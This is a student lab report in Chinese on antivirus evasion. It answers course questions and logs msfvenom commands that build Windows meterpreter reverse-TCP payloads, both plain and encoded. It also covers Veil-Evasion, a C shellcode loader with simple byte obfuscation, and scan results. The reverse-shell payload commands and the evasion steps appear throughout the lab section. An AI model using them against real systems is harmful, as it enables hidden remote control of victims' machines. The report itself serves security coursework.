20145312《网络攻防》 免杀原理与实践

20145312 《网络攻防》 免杀原理与实践

基础问题回答

1.杀软是如何检测出恶意代码的?

  • 基于特征码的检测:杀软通过对已存在的流行代码特征的提取与比对检测到具有该特征码的程序就当作检测到了恶意代码。
  • 基于行为的检测:杀软通过检测程序是否有更改注册表行为、是否有设置自启动、是否有修改权限等等

2.免杀是做什么?

  • 通过一些手段来瞒过杀软的检测扫描,避免被杀毒软件查杀,并能成功控制被植入机。

3.免杀的基本方法有哪些?

  • 对恶意代码进行加壳、用其他语言或编译器进行再编译,利用shellcode进行编码,减少对系统的修改,多在内存里进行操作,多使用反弹式的连接

实践过程记录

本次实验测试网址:http://www.virscan.org/

msfvenom直接生成meterpreter可执行文件并检测:

  • 使用命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.192.169 PORT=5312 -f exe > Aquarius5312.exe
  • 检测结果如下

Msfvenom使用编码器生成可执行文件

  • 多次编码,使用命令:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.1.180 LPORT=208 -f exe > Aquarius5312_encode2.exe
  • 上传文件,检测结果:
  • 腾讯电脑管家检测出该病毒

Veil-Evasion生成可执行文件

  • 命令行直接输入veil-evasion打开软件,然后在menu里输入命令生成可执行文件:
  • 上传文件,检测结果:
  • 腾讯电脑管家检测出该病毒

C语言调用Shellcode

  • 使用命令生成一个c语言格式的Shellcode数组:

  • 使用Vs2012编译运行生成可执行文件:Shellcode-5312.exe(代码参考蔡野同学)

  • 上传文件,检测结果:

  • 腾讯电脑管家没有自动检测出该病毒,于是我手动指定位置杀毒

  • 仍然没有检测出,我很慌。

  • 改进措施加密特征码:对数组特征码部分进行一个简单的加法操作,为了避免杀软根据数组值直接的差来判断特征码,所以每个数据加的值是i%15

  • 上传文件,检测结果:只有一个报毒,报毒杀软叫做:F-PROT

  • 继续改进,换一种加密形式,选择换位置的方法,上传文件,检测结果,仍然只有F-PROT杀软报毒。可能这款杀软不只是根据特征码报毒,也对call或者其他敏感行为报毒

  • 进行回连实测:试运行这个病毒,成功的执行如下



离实战还缺些什么技术或步骤?

  • 还需要把生成的病毒伪装在网页或别的正常软件中,可以使对方毫无防备的打开它。
  • 还需要社会工程学的相关知识,来获取靶机的权限和相关信息。

实验总结体会

  • 所谓的杀毒软件只能检测出较流行的病毒,一旦有新型病毒或被伪装的病毒攻击计算机,它就很难检测出。所以平时在用电脑时,不能一味相信杀软。平时在使用时,遇到异常情况,且杀软没有报毒的情况下,可以自己抓包通过分析异常流量来排查是否被病毒攻击。
posted @ 2017-03-21 21:37  20145312袁心  阅读(267)  评论(0编辑  收藏  举报